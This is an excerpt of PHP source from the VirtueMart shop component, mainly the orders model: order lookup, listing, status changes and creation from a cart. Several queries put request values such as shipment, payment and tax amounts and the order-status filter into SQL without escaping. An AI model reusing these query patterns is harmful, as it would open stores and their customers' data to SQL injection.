$noLimit=false, $filterCountry = false) { $where = array(); $this->_noLimit = $noLimit; // $query = 'SELECT * FROM `#__virtuemart_countries` '; /* add filters */ if ($onlyPublished) $where[] = '`published` = 1'; if($filterCountry){ $filterCountry = '"%' . $this->_db->getEscaped( $filterCountry, true ) . '%"' ; //$keyword = $this->_db->Quote($filterCountry, false); $where[] = '`country_name` LIKE '.$filterCountry.' OR `country_2_code` LIKE '.$filterCountry.' OR `country_3_code` LIKE '.$filterCountry; } $whereString = ''; if (count($where) > 0) $whereString = ' WHERE '.implode(' AND ', $where) ; $ordering = $this->_getOrdering(); return $this->_data = $this->exeSortSearchListQuery(0,'*',' FROM `#__virtuemart_countries`',$whereString,'',$ordering); } } //no closing tag pure phpPKB\V$$models/orders.phpnuW+Adb is never used in the model ? * @package VirtueMart * @author RolandD */ class VirtueMartModelOrders extends VmModel { /** * constructs a VmModel * setMainTable defines the maintable of the model * @author Max Milbers */ function __construct() { parent::__construct(); $this->setMainTable('orders'); $this->addvalidOrderingFieldName(array('order_name','order_email','payment_method','virtuemart_order_id' ) ); } /** * This function gets the orderId, for anonymous users * @author Max Milbers */ public function getOrderIdByOrderPass($orderNumber,$orderPass){ $db = JFactory::getDBO(); $q = 'SELECT `virtuemart_order_id` FROM `#__virtuemart_orders` WHERE `order_pass`="'.$db->getEscaped($orderPass).'" AND `order_number`="'.$db->getEscaped($orderNumber).'"'; $db->setQuery($q); $orderId = $db->loadResult(); // vmdebug('getOrderIdByOrderPass '.$orderId); return $orderId; } /** * This function gets the orderId, for payment response * author Valerie Isaksen */ public static function getOrderIdByOrderNumber($orderNumber){ $db = JFactory::getDBO(); $q = 'SELECT `virtuemart_order_id` FROM `#__virtuemart_orders` WHERE `order_number`="'.$db->getEscaped($orderNumber).'"'; $db->setQuery($q); $orderId = $db->loadResult(); return $orderId; } /** * This function seems completly broken, JRequests are not allowed in the model, sql not escaped * This function gets the secured order Number, to send with paiement * */ public function getOrderNumber($virtuemart_order_id){ $db = JFactory::getDBO(); $q = 'SELECT `order_number` FROM `#__virtuemart_orders` WHERE virtuemart_order_id="'.(int)$virtuemart_order_id.'" '; $db->setQuery($q); $OrderNumber = $db->loadResult(); return $OrderNumber; } /** * Was also broken, actually used? * * get next/previous order id * */ public function getOrderId($order_id, $direction ='DESC') { if ($direction == 'ASC') { $arrow ='>'; } else { $arrow ='<'; } $db = JFactory::getDBO(); $q = 'SELECT `virtuemart_order_id` FROM `#__virtuemart_orders` WHERE `virtuemart_order_id`'.$arrow.(int)$order_id; $q.= ' ORDER BY `virtuemart_order_id` '.$direction ; $db->setQuery($q); if ($oderId = $db->loadResult()) { return $oderId ; } return 0 ; } /** * This is a proxy function to return an order safely, we may set the getOrder function to private * Maybe the right place would be the controller, cause there are JRequests in it. But for a fast solution, * still better than to have it 3-4 times in the view.html.php of the views. * @author Max Milbers * * @return array */ public function getMyOrderDetails($orderID = 0, $orderNumber = false, $orderPass = false){ $_currentUser = JFactory::getUser(); $cuid = $_currentUser->get('id'); $orderDetails = false; // If the user is not logged in, we will check the order number and order pass if(empty($orderID) and empty($cuid)){ // If the user is not logged in, we will check the order number and order pass if ($orderPass = JRequest::getString('order_pass',$orderPass)){ $orderNumber = JRequest::getString('order_number',$orderNumber); $orderId = $this->getOrderIdByOrderPass($orderNumber,$orderPass); if(empty($orderId)){ echo JText::_('COM_VIRTUEMART_RESTRICTED_ACCESS'); return false; } $orderDetails = $this->getOrder($orderId); } } else { // If the user is logged in, we will check if the order belongs to him $virtuemart_order_id = JRequest::getInt('virtuemart_order_id',$orderID) ; if (!$virtuemart_order_id) { $virtuemart_order_id = VirtueMartModelOrders::getOrderIdByOrderNumber(JRequest::getString('order_number')); } $orderDetails = $this->getOrder($virtuemart_order_id); if(!class_exists('Permissions')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'permissions.php'); if(!Permissions::getInstance()->check("admin")) { if(!isset($orderDetails['details']['BT']->virtuemart_user_id)){ $orderDetails['details']['BT']->virtuemart_user_id = 0; } //if(!empty($orderDetails['details']['BT']->virtuemart_user_id)){ vmdebug('getMyOrderDetails',$cuid,$orderDetails['details']['BT']->virtuemart_user_id); if ($orderDetails['details']['BT']->virtuemart_user_id != $cuid) { echo JText::_('COM_VIRTUEMART_RESTRICTED_ACCESS'); return false; } //} } } return $orderDetails; } /** * Load a single order, Attention, this function is not protected! Do the right manangment before, to be certain * we suggest to use getMyOrderDetails */ public function getOrder($virtuemart_order_id){ //sanitize id $virtuemart_order_id = (int)$virtuemart_order_id; $db = JFactory::getDBO(); $order = array(); // Get the order details $q = "SELECT u.*,o.*, s.order_status_name FROM #__virtuemart_orders o LEFT JOIN #__virtuemart_orderstates s ON s.order_status_code = o.order_status LEFT JOIN #__virtuemart_order_userinfos u ON u.virtuemart_order_id = o.virtuemart_order_id WHERE o.virtuemart_order_id=".$virtuemart_order_id; $db->setQuery($q); $order['details'] = $db->loadObjectList('address_type'); // Get the order history $q = "SELECT * FROM #__virtuemart_order_histories WHERE virtuemart_order_id=".$virtuemart_order_id." ORDER BY virtuemart_order_history_id ASC"; $db->setQuery($q); $order['history'] = $db->loadObjectList(); // Get the order items $q = 'SELECT virtuemart_order_item_id, product_quantity, order_item_name, order_item_sku, i.virtuemart_product_id, product_item_price, product_final_price, product_basePriceWithTax, product_discountedPriceWithoutTax, product_priceWithoutTax, product_subtotal_with_tax, product_subtotal_discount, product_tax, product_attribute, order_status, p.product_available_date, p.product_availability, intnotes, virtuemart_category_id FROM (#__virtuemart_order_items i LEFT JOIN #__virtuemart_products p ON p.virtuemart_product_id = i.virtuemart_product_id) LEFT JOIN #__virtuemart_product_categories c ON p.virtuemart_product_id = c.virtuemart_product_id WHERE `virtuemart_order_id`="'.$virtuemart_order_id.'" group by `virtuemart_order_item_id`'; //group by `virtuemart_order_id`'; Why ever we added this, it makes trouble, only one order item is shown then. // without group by we get the product 3 times, when it is in 3 categories and similar, so we need a group by //lets try group by `virtuemart_order_item_id` $db->setQuery($q); $order['items'] = $db->loadObjectList(); // Get the order items $q = "SELECT * FROM #__virtuemart_order_calc_rules AS z WHERE virtuemart_order_id=".$virtuemart_order_id; $db->setQuery($q); $order['calc_rules'] = $db->loadObjectList(); // vmdebug('getOrder my order',$order); return $order; } /** * Select the products to list on the product list page * @param $uid integer Optional user ID to get the orders of a single user * @param $_ignorePagination boolean If true, ignore the Joomla pagination (for embedded use, default false) */ public function getOrdersList($uid = 0, $noLimit = false) { // vmdebug('getOrdersList'); $this->_noLimit = $noLimit; $select = " o.*, CONCAT_WS(' ',u.first_name,u.middle_name,u.last_name) AS order_name " .',u.email as order_email,pm.payment_name AS payment_method '; $from = $this->getOrdersListQuery(); /* $_filter = array(); if ($uid > 0) { $_filter[] = ('u.virtuemart_user_id = ' . (int)$uid); }*/ $where = array(); if(!class_exists('Permissions')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'permissions.php'); if(!Permissions::getInstance()->check('storeadmin')){ $myuser =JFactory::getUser(); $where[]= ' u.virtuemart_user_id = ' . (int)$myuser->id.' AND o.virtuemart_vendor_id = "1" '; } else { if(empty($uid)){ $where[]= ' o.virtuemart_vendor_id = "1" '; } else { $where[]= ' u.virtuemart_user_id = ' . (int)$uid.' AND o.virtuemart_vendor_id = "1" '; } } if ($search = JRequest::getString('search', false)){ $search = '"%' . $this->_db->getEscaped( $search, true ) . '%"' ; $search = str_replace(' ','%',$search); $searchFields = array(); $searchFields[] = 'u.first_name'; $searchFields[] = 'u.middle_name'; $searchFields[] = 'u.last_name'; $searchFields[] = 'o.order_number'; $searchFields[] = 'u.company'; $searchFields[] = 'u.email'; $searchFields[] = 'u.phone_1'; $searchFields[] = 'u.address_1'; $searchFields[] = 'u.zip'; $where[] = implode (' LIKE '.$search.' OR ', $searchFields) . ' LIKE '.$search.' '; //$where[] = ' ( u.first_name LIKE '.$search.' OR u.middle_name LIKE '.$search.' OR u.last_name LIKE '.$search.' OR `order_number` LIKE '.$search.')'; } $order_status_code = JRequest::getString('order_status_code', false); if ($order_status_code and $order_status_code!=-1){ $where[] = ' o.order_status = "'.$order_status_code.'" '; } if (count ($where) > 0) { $whereString = ' WHERE (' . implode (' AND ', $where) . ') '; } else { $whereString = ''; } if ( JRequest::getCmd('view') == 'orders') { $ordering = $this->_getOrdering(); } else { $ordering = ' order by o.modified_on DESC'; } $this->_data = $this->exeSortSearchListQuery(0,$select,$from,$whereString,'',$ordering); return $this->_data ; } /** * List of tables to include for the product query * @author RolandD */ private function getOrdersListQuery() { return ' FROM #__virtuemart_orders as o LEFT JOIN #__virtuemart_order_userinfos as u ON u.virtuemart_order_id = o.virtuemart_order_id AND u.address_type="BT" LEFT JOIN #__virtuemart_paymentmethods_'.VMLANG.' as pm ON o.virtuemart_paymentmethod_id = pm.virtuemart_paymentmethod_id '; } /** * Update an order item status * @author Max Milbers * @author Ondřej Spilka - used for item edit also * @author Maik Künnemann */ public function updateSingleItem($virtuemart_order_item_id, &$orderdata, $orderUpdate = false) { //vmdebug('updateSingleItem',$virtuemart_order_item_id,$orderdata); $table = $this->getTable('order_items'); $table->load($virtuemart_order_item_id); $oldOrderStatus = $table->order_status; if(empty($oldOrderStatus)){ $oldOrderStatus = $orderdata->current_order_status; if($orderUpdate and empty($oldOrderStatus)){ $oldOrderStatus = 'P'; } } // $table->order_status = $orderdata->orderstatus; JPluginHelper::importPlugin('vmcustom'); $_dispatcher = JDispatcher::getInstance(); $_returnValues = $_dispatcher->trigger('plgVmOnUpdateSingleItem',array($table,&$orderdata)); $dataT = get_object_vars($table); // $doUpdate = JRequest::getString('update_values'); $orderdatacopy = $orderdata; $data = array_merge($dataT,(array)$orderdatacopy); // $data['order_status'] = $orderdata->orderstatus; if (!class_exists('CurrencyDisplay')) { require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'currencydisplay.php'); } $this->_currencyDisplay = CurrencyDisplay::getInstance(); $rounding = $this->_currencyDisplay->_priceConfig['salesPrice'][1]; if ( $orderUpdate and !empty($data['virtuemart_order_item_id'])) { //get tax calc_value of product VatTax $db = JFactory::getDBO(); $sql = "SELECT `calc_value` FROM `#__virtuemart_order_calc_rules` WHERE `virtuemart_order_id` = ".$data['virtuemart_order_id']." AND `virtuemart_order_item_id` = ".$data['virtuemart_order_item_id']." AND `calc_kind` = 'VatTax' "; $db->setQuery($sql); $taxCalcValue = $db->loadResult(); if($data['calculate_product_tax']) { if(!$taxCalcValue){ //Could be a new item, missing the tax rules, we try to get one of another product. //get tax calc_value of product VatTax $db = JFactory::getDBO(); $sql = "SELECT `calc_value` FROM `#__virtuemart_order_calc_rules` WHERE `virtuemart_order_id` = ".$data['virtuemart_order_id']." AND `calc_kind` = 'VatTax' "; $db->setQuery($sql); $taxCalcValue = $db->loadResult(); } if(empty($data['product_subtotal_discount']))$data['product_subtotal_discount'] = 0.0; // "",null,0,NULL, FALSE => 0.0 //We do two cases, either we have the final amount and discount if(!empty($data['product_final_price']) and $data['product_final_price']!=0){ if(empty($data['product_tax']) or $data['product_tax']==0){ $data['product_tax'] = $data['product_final_price'] * $taxCalcValue / ($taxCalcValue + 100); //vmdebug($data['product_final_price'] .' * '.$taxCalcValue.' / '.($taxCalcValue + 100).' = '.$data['product_tax']); } if(empty($data['product_item_price']) or $data['product_item_price']==0){ if(empty($data['product_tax']))$data['product_tax'] = 0.0; $data['product_item_price'] = round($data['product_final_price'], $rounding) - $data['product_tax']; $data['product_discountedPriceWithoutTax'] = 0.0;// round($data['product_final_price'], $rounding) ; $data['product_priceWithoutTax'] = 0.0; $data['product_basePriceWithTax'] = round($data['product_final_price'], $rounding) - $data['product_subtotal_discount']; } } else //or we have the base price and a manually set discount. if(!empty($data['product_item_price']) and $data['product_item_price']!=0){ if(empty($data['product_tax']) or $data['product_tax']==0){ $data['product_tax'] = ($data['product_item_price']-$data['product_subtotal_discount']) * ($taxCalcValue/100.0); } $data['product_discountedPriceWithoutTax'] = 0.0; $data['product_priceWithoutTax'] = 0.0; $data['product_final_price'] = round($data['product_item_price'], $rounding) + $data['product_tax'] + $data['product_subtotal_discount']; $data['product_basePriceWithTax'] = round($data['product_final_price'], $rounding) - $data['product_subtotal_discount']; } } //$data['product_subtotal_discount'] = (round($orderdata->product_final_price, $rounding) - round($data['product_basePriceWithTax'], $rounding)) * $orderdata->product_quantity; $data['product_subtotal_with_tax'] = round($data['product_final_price'], $rounding) * $orderdata->product_quantity; } $table->bindChecknStore($data); if ( $orderUpdate ) { if ( empty($data['order_item_sku']) ) { //update product identification $db = JFactory::getDBO(); $prolang = '#__virtuemart_products_' . VMLANG; $oi = " #__virtuemart_order_items"; $protbl = "#__virtuemart_products"; $sql = "UPDATE $oi, $protbl, $prolang" . " SET $oi.order_item_sku=$protbl.product_sku, $oi.order_item_name=$prolang.product_name ". " WHERE $oi.virtuemart_product_id=$protbl.virtuemart_product_id " . " and $oi.virtuemart_product_id=$prolang.virtuemart_product_id " . " and $oi.virtuemart_order_item_id=$virtuemart_order_item_id"; $db->setQuery($sql); if ($db->query() === false) { vmError($db->getError()); } } } // Update the order item history //$this->_updateOrderItemHist($id, $order_status, $customer_notified, $comment); $errors = $table->getErrors(); foreach($errors as $error){ vmError( get_class( $this ).'::store '.$error); } //OSP update cartRules/shipment/payment //it would seem strange this is via item edit //but in general, shipment and payment would be tractated as another items of the order //in datas they are not, bu okay we have it here and functional //moreover we can compute all aggregate values here via one aggregate SQL if ( $orderUpdate ) { $db = JFactory::getDBO(); $ordid = $table->virtuemart_order_id; //cartRules $calc_rules = JRequest::getVar('calc_rules','', '', 'array'); $calc_rules_amount = 0; $calc_rules_discount_amount = 0; $calc_rules_tax_amount = 0; if(!empty($calc_rules)) { foreach($calc_rules as $calc_kind => $calc_rule) { foreach($calc_rule as $virtuemart_order_calc_rule_id => $calc_amount) { $sql = "UPDATE `#__virtuemart_order_calc_rules` SET `calc_amount`=$calc_amount WHERE `virtuemart_order_calc_rule_id`=$virtuemart_order_calc_rule_id"; $db->setQuery($sql); if(isset($calc_amount)) $calc_rules_amount += $calc_amount; if ($calc_kind == 'DBTaxRulesBill' || $calc_kind == 'DATaxRulesBill') { $calc_rules_discount_amount += $calc_amount; } if ($calc_kind == 'taxRulesBill') { $calc_rules_tax_amount += $calc_amount; } if ($db->query() === false) { vmError($db->getError()); } } } } //shipment $os = JRequest::getString('order_shipment'); $ost = JRequest::getString('order_shipment_tax'); if ( $os!="" ) { $sql = "UPDATE `#__virtuemart_orders` SET `order_shipment`=$os,`order_shipment_tax`=$ost WHERE `virtuemart_order_id`=$ordid"; $db->setQuery($sql); if ($db->query() === false) { vmError($db->getError()); } } //payment $op = JRequest::getString('order_payment'); $opt = JRequest::getString('order_payment_tax'); if ( $op!="" ) { $sql = "UPDATE `#__virtuemart_orders` SET `order_payment`=$op,`order_payment_tax`=$opt WHERE `virtuemart_order_id`=$ordid"; $db->setQuery($sql); if ($db->query() === false) { vmError($db->getError()); } } $sql = " UPDATE `#__virtuemart_orders` SET `order_total`=(SELECT sum(product_final_price*product_quantity) FROM #__virtuemart_order_items where `virtuemart_order_id`=$ordid)+`order_shipment`+`order_shipment_tax`+`order_payment`+`order_payment_tax`+$calc_rules_amount, `order_discountAmount`=(SELECT sum(product_subtotal_discount) FROM #__virtuemart_order_items where `virtuemart_order_id`=$ordid), `order_billDiscountAmount`=`order_discountAmount`+$calc_rules_discount_amount, `order_salesPrice`=(SELECT sum(product_final_price*product_quantity) FROM #__virtuemart_order_items where `virtuemart_order_id`=$ordid), `order_tax`=(SELECT sum( product_tax*product_quantity) FROM #__virtuemart_order_items where `virtuemart_order_id`=$ordid), `order_subtotal`=(SELECT sum(ROUND(product_item_price, ". $rounding .")*product_quantity) FROM #__virtuemart_order_items where `virtuemart_order_id`=$ordid),"; if(JRequest::getString('calculate_billTaxAmount')) { $sql .= "`order_billTaxAmount`=(SELECT sum( product_tax*product_quantity) FROM #__virtuemart_order_items where `virtuemart_order_id`=$ordid)+`order_shipment_tax`+`order_payment_tax`+$calc_rules_tax_amount"; } else { $sql .= "`order_billTaxAmount`=".JRequest::getString('order_billTaxAmount'); } $sql .= " WHERE `virtuemart_order_id`=$ordid"; $db->setQuery($sql); if ($db->query() === false) { vmError('updateSingleItem '.$db->getError().' and '.$sql); } } $this->handleStockAfterStatusChangedPerProduct($orderdata->order_status, $oldOrderStatus, $table,$table->product_quantity); // } } /** * Strange name is just temporarly * * @param unknown_type $order_id * @param unknown_type $order_status * @author Max Milbers */ var $useDefaultEmailOrderStatus = true; public function updateOrderStatus($orders=0, $order_id =0,$order_status=0){ //General change of orderstatus $total = 1 ; if(empty($orders)){ $orders = array(); $orderslist = JRequest::getVar('orders', array()); $total = 0 ; // Get the list of orders in post to update foreach ($orderslist as $key => $order) { if ( $orderslist[$key]['order_status'] !== $orderslist[$key]['current_order_status'] ) { $orders[$key] = $orderslist[$key]; $total++; } } } if(!is_array($orders)){ $orders = array($orders); } /* Process the orders to update */ $updated = 0; $error = 0; if ($orders) { // $notify = JRequest::getVar('customer_notified', array()); // ??? // $comments = JRequest::getVar('comments', array()); // ??? foreach ($orders as $virtuemart_order_id => $order) { if ($order_id >0) $virtuemart_order_id= $order_id; $this->useDefaultEmailOrderStatus = false; if($this->updateStatusForOneOrder($virtuemart_order_id,$order)){ $updated ++; } else { $error++; } } } $result = array( 'updated' => $updated , 'error' =>$error , 'total' => $total ) ; return $result ; } // IMPORTANT: The $inputOrder can contain extra data by plugins //also strange $useTriggers is always activated? function updateStatusForOneOrder($virtuemart_order_id,$inputOrder,$useTriggers=true){ // vmdebug('updateStatusForOneOrder', $inputOrder); /* Update the order */ $data = $this->getTable('orders'); $data->load($virtuemart_order_id); $old_order_status = $data->order_status; $data->bind($inputOrder); $cp_rm = VmConfig::get('cp_rm',array('C')); if(!is_array($cp_rm)) $cp_rm = array($cp_rm); if ( in_array((string) $data->order_status,$cp_rm) ){ if (!empty($data->coupon_code)) { if (!class_exists('CouponHelper')) require(JPATH_VM_SITE . DS . 'helpers' . DS . 'coupon.php'); CouponHelper::RemoveCoupon($data->coupon_code); } } //First we must call the payment, the payment manipulates the result of the order_status if($useTriggers){ if(!class_exists('vmPSPlugin')) require(JPATH_VM_PLUGINS.DS.'vmpsplugin.php'); // Payment decides what to do when order status is updated JPluginHelper::importPlugin('vmcalculation'); JPluginHelper::importPlugin('vmcustom'); JPluginHelper::importPlugin('vmshipment'); JPluginHelper::importPlugin('vmpayment'); $_dispatcher = JDispatcher::getInstance(); //Should we add this? $inputOrder $_returnValues = $_dispatcher->trigger('plgVmOnUpdateOrderPayment',array(&$data,$old_order_status)); foreach ($_returnValues as $_returnValue) { if ($_returnValue === true) { break; // Plugin was successfull } elseif ($_returnValue === false) { return false; // Plugin failed } // Ignore null status and look for the next returnValue } $_dispatcher = JDispatcher::getInstance(); //Should we add this? $inputOrder $_returnValues = $_dispatcher->trigger('plgVmOnUpdateOrderShipment',array(&$data,$old_order_status)); /** * If an order gets cancelled, fire a plugin event, perhaps * some authorization needs to be voided */ if ($data->order_status == "X") { $_dispatcher = JDispatcher::getInstance(); //Should be renamed to plgVmOnCancelOrder $_dispatcher->trigger('plgVmOnCancelPayment',array(&$data,$old_order_status)); } } if(empty($data->delivery_date)){ $del_date_type = VmConfig::get('del_date_type','m'); if(strpos($del_date_type,'os')!==FALSE){ //for example osS $os = substr($del_date_type,2); if($data->order_status == $os){ $date = JFactory::getDate(); $data->delivery_date = $date->toMySQL(); } } else { VmConfig::loadJLang('com_virtuemart_orders', true); $data->delivery_date = JText::_('COM_VIRTUEMART_DELDATE_INV'); } } if ($data->store()) { $task= JRequest::getCmd('task',0); $view= JRequest::getWord('view',0); /*if($task=='edit'){ $update_lines = JRequest::getInt('update_lines'); } else /*/ if ($task=='updatestatus' and $view=='orders') { $lines = JRequest::getVar('orders'); $update_lines = $lines[$virtuemart_order_id]['update_lines']; } else { $update_lines = 1; } if($update_lines==1){ vmdebug('$update_lines '.$update_lines); $q = 'SELECT virtuemart_order_item_id FROM #__virtuemart_order_items WHERE virtuemart_order_id="'.$virtuemart_order_id.'"'; $db = JFactory::getDBO(); $db->setQuery($q); $order_items = $db->loadObjectList(); if ($order_items) { // vmdebug('updateStatusForOneOrder',$data); foreach ($order_items as $order_item) { //$this->updateSingleItem($order_item->virtuemart_order_item_id, $data->order_status, $order['comments'] , $virtuemart_order_id, $data->order_pass); $this->updateSingleItem($order_item->virtuemart_order_item_id, $data); } } } /* Update the order history */ $this->_updateOrderHist($virtuemart_order_id, $data->order_status, $inputOrder['customer_notified'], $inputOrder['comments']); // When the plugins did not already notified the user, do it here (the normal way) //Attention the ! prevents at the moment that an email is sent. But it should used that way. // if (!$inputOrder['customer_notified']) { $this->notifyCustomer( $data->virtuemart_order_id , $inputOrder ); // } JPluginHelper::importPlugin('vmcoupon'); $dispatcher = JDispatcher::getInstance(); $returnValues = $dispatcher->trigger('plgVmCouponUpdateOrderStatus', array($data, $old_order_status)); if(!empty($returnValues)){ foreach ($returnValues as $returnValue) { if ($returnValue !== null ) { return $returnValue; } } } return true; } else { return false; } } /** * Update an order status and send e-mail if needed * @author RolandD * @author Oscar van Eijk * @deprecated */ public function updateStatus( $orders=null,$virtuemart_order_id =0){ $this -> updateOrderStatus($orders,$virtuemart_order_id); return; } /** * Get the information from the cart and create an order from it * * @author Oscar van Eijk * @param object $_cart The cart data * @return mixed The new ordernumber, false on errors */ public function createOrderFromCart($cart) { if ($cart === null) { vmError('createOrderFromCart() called without a cart - that\'s a programming bug','Can\'t create order, sorry.'); return false; } $usr = JFactory::getUser(); $prices = $cart->getCartPrices(); if (($orderID = $this->_createOrder($cart, $usr, $prices)) == 0) { vmError('Couldn\'t create order','Couldn\'t create order'); return false; } if (!$this->_createOrderLines($orderID, $cart)) { vmError('Couldn\'t create order items','Couldn\'t create order items'); return false; } if (!$this-> _createOrderCalcRules($orderID, $cart) ) { vmError('Couldn\'t create order items','Couldn\'t create order items'); return false; } $this->_updateOrderHist($orderID); if (!$this->_writeUserInfo($orderID, $usr, $cart)) { vmError('Couldn\'t create order history','Couldn\'t create order history'); return false; } return $orderID; } /** * Write the order header record * * @author Oscar van Eijk * @param object $_cart The cart data * @param object $_usr User object * @param array $_prices Price data * @return integer The new ordernumber */ private function _createOrder($_cart, $_usr, $_prices) { // TODO We need tablefields for the new values: // Shipment: // $_prices['shipmentValue'] w/out tax // $_prices['shipmentTax'] Tax // $_prices['salesPriceShipment'] Total // // Payment: // $_prices['paymentValue'] w/out tax // $_prices['paymentTax'] Tax // $_prices['paymentDiscount'] Discount // $_prices['salesPricePayment'] Total $_orderData = new stdClass(); $_orderData->virtuemart_order_id = null; $_orderData->virtuemart_user_id = $_usr->get('id'); $_orderData->virtuemart_vendor_id = $_cart->vendorId; $_orderData->customer_number = $_cart->customer_number; //Note as long we do not have an extra table only storing addresses, the virtuemart_userinfo_id is not needed. //The virtuemart_userinfo_id is just the id of a stored address and is only necessary in the user maintance view or for choosing addresses. //the saved order should be an snapshot with plain data written in it. // $_orderData->virtuemart_userinfo_id = 'TODO'; // $_cart['BT']['virtuemart_userinfo_id']; // TODO; Add it in the cart... but where is this used? Obsolete? $_orderData->order_total = $_prices['billTotal']; $_orderData->order_salesPrice = $_prices['salesPrice']; $_orderData->order_billTaxAmount = $_prices['billTaxAmount']; $_orderData->order_billDiscountAmount = $_prices['billDiscountAmount']; $_orderData->order_discountAmount = $_prices['discountAmount']; $_orderData->order_subtotal = $_prices['priceWithoutTax']; $_orderData->order_tax = $_prices['taxAmount']; $_orderData->order_shipment = $_prices['shipmentValue']; $_orderData->order_shipment_tax = $_prices['shipmentTax']; $_orderData->order_payment = $_prices['paymentValue']; $_orderData->order_payment_tax = $_prices['paymentTax']; if (!empty($_cart->cartData['VatTax'])) { $taxes = array(); foreach($_cart->cartData['VatTax'] as $k=>$VatTax) { $taxes[$k]['virtuemart_calc_id'] = $k; $taxes[$k]['calc_name'] = $VatTax['calc_name']; $taxes[$k]['calc_value'] = $VatTax['calc_value']; $taxes[$k]['result'] = $VatTax['result']; } $_orderData->order_billTax = json_encode($taxes); } if (!empty($_cart->couponCode)) { $_orderData->coupon_code = $_cart->couponCode; $_orderData->coupon_discount = $_prices['salesPriceCoupon']; } $_orderData->order_discount = $_prices['discountAmount']; // discount order_items $_orderData->order_status = 'P'; $_orderData->order_currency = $this->getVendorCurrencyId($_orderData->virtuemart_vendor_id); if (isset($_cart->pricesCurrency)) { $_orderData->user_currency_id = $_cart->paymentCurrency ;//$this->getCurrencyIsoCode($_cart->pricesCurrency); $currency = CurrencyDisplay::getInstance($_orderData->user_currency_id); if($_orderData->user_currency_id != $_orderData->order_currency){ $_orderData->user_currency_rate = $currency->convertCurrencyTo($_orderData->user_currency_id ,1.0,false); } else { $_orderData->user_currency_rate=1.0; } } $_orderData->virtuemart_paymentmethod_id = $_cart->virtuemart_paymentmethod_id; $_orderData->virtuemart_shipmentmethod_id = $_cart->virtuemart_shipmentmethod_id; $_filter = JFilterInput::getInstance (array('br', 'i', 'em', 'b', 'strong'), array(), 0, 0, 1); $_orderData->customer_note = $_filter->clean($_cart->customer_comment); $_orderData->order_language = $_cart->order_language; $_orderData->ip_address = $_SERVER['REMOTE_ADDR']; $_orderData->order_number =''; JPluginHelper::importPlugin('vmshopper'); $dispatcher = JDispatcher::getInstance(); $plg_datas = $dispatcher->trigger('plgVmOnUserOrder',array(&$_orderData)); foreach($plg_datas as $plg_data){ // $data = array_merge($plg_data,$data); } if(empty($_orderData->order_number)){ $_orderData->order_number = $this->generateOrderNumber($_usr->get('id'),4,$_orderData->virtuemart_vendor_id); } if(empty($_orderData->order_pass)){ $_orderData->order_pass = 'p_'.substr( md5((string)time().rand(1,1000).$_orderData->order_number ), 0, 5); } $orderTable = $this->getTable('orders'); $orderTable -> bindChecknStore($_orderData); $errors = $orderTable->getErrors(); foreach($errors as $error){ vmError($error); } $db = JFactory::getDBO(); $_orderID = $db->insertid(); if (!empty($_cart->couponCode)) { //set the virtuemart_order_id in the Request for 3rd party coupon components (by Seyi and Max) JRequest::setVar ( 'virtuemart_order_id', $_orderData->virtuemart_order_id ); // If a gift coupon was used, remove it now //CouponHelper::RemoveCoupon($_cart->couponCode); CouponHelper::setInUseCoupon($_cart->couponCode, true); } // the order number is saved into the session to make sure that the correct cart is emptied with the payment notification $_cart->order_number=$_orderData->order_number; $_cart->setCartIntoSession (); return $_orderID; } private function getVendorCurrencyId($vendorId){ $q = 'SELECT `vendor_currency` FROM `#__virtuemart_vendors` WHERE `virtuemart_vendor_id`="'.$vendorId.'" '; $db = JFactory::getDBO(); $db->setQuery($q); $vendorCurrency = $db->loadResult(); return $vendorCurrency; // return $this->getCurrencyIsoCode($vendorCurrency); } private function getCurrencyIsoCode($vmCode){ $q = 'SELECT `currency_numeric_code` FROM `#__virtuemart_currencies` WHERE `virtuemart_currency_id`="'.$vmCode.'" '; $db = JFactory::getDBO(); $db->setQuery($q); return $db->loadResult(); } /** * Write the BillTo record, and if set, the ShipTo record * * @author Oscar van Eijk * @param integer $_id Order ID * @param object $_usr User object * @param object $_cart Cart object * @return boolean True on success */ private function _writeUserInfo($_id, &$_usr, $_cart) { $_userInfoData = array(); if(!class_exists('VirtueMartModelUserfields')) require(JPATH_VM_ADMINISTRATOR.DS.'models'.DS.'userfields.php'); //if(!class_exists('shopFunctions')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'shopfunctions.php'); $_userFieldsModel = VmModel::getModel('userfields'); $_userFieldsBT = $_userFieldsModel->getUserFields('account' , array('delimiters'=>true, 'captcha'=>true) , array('username', 'password', 'password2', 'user_is_vendor') ); foreach ($_userFieldsBT as $_fld) { $_name = $_fld->name; if(!empty( $_cart->BT[$_name])){ if (is_array( $_cart->BT[$_name])) { $_userInfoData[$_name] = implode("|*|",$_cart->BT[$_name]); } else { $_userInfoData[$_name] = $_cart->BT[$_name]; } } } $_userInfoData['virtuemart_order_id'] = $_id; $_userInfoData['virtuemart_user_id'] = $_usr->get('id'); $_userInfoData['address_type'] = 'BT'; $order_userinfosTable = $this->getTable('order_userinfos'); if (!$order_userinfosTable->bindChecknStore($_userInfoData)){ vmError($order_userinfosTable->getError()); return false; } if ($_cart->ST) { $_userInfoData = array(); // $_userInfoData['virtuemart_order_userinfo_id'] = null; // Reset key to make sure it doesn't get overwritten by ST $_userFieldsST = $_userFieldsModel->getUserFields('shipment' , array('delimiters'=>true, 'captcha'=>true) , array('username', 'password', 'password2', 'user_is_vendor') ); foreach ($_userFieldsST as $_fld) { $_name = $_fld->name; if(!empty( $_cart->ST[$_name])){ $_userInfoData[$_name] = $_cart->ST[$_name]; } } $_userInfoData['virtuemart_order_id'] = $_id; $_userInfoData['virtuemart_user_id'] = $_usr->get('id'); $_userInfoData['address_type'] = 'ST'; $order_userinfosTable = $this->getTable('order_userinfos'); if (!$order_userinfosTable->bindChecknStore($_userInfoData)){ vmError($order_userinfosTable->getError()); return false; } } return true; } function handleStockAfterStatusChangedPerProduct($newState, $oldState,$tableOrderItems, $quantity) { if($newState == $oldState) return; // $StatutWhiteList = array('P','C','X','R','S','N'); $db = JFactory::getDBO(); $db->setQuery('SELECT * FROM `#__virtuemart_orderstates` '); $StatutWhiteList = $db->loadAssocList('order_status_code'); // new product is statut N $StatutWhiteList['N'] = Array ( 'order_status_id' => 0 , 'order_status_code' => 'N' , 'order_stock_handle' => 'A'); if(!array_key_exists($oldState,$StatutWhiteList) or !array_key_exists($newState,$StatutWhiteList)) { vmError('The workflow for '.$newState.' or '.$oldState.' is unknown, take a look on model/orders function handleStockAfterStatusChanged','Can\'t process workflow, contact the shopowner. Status is'.$newState); return ; } 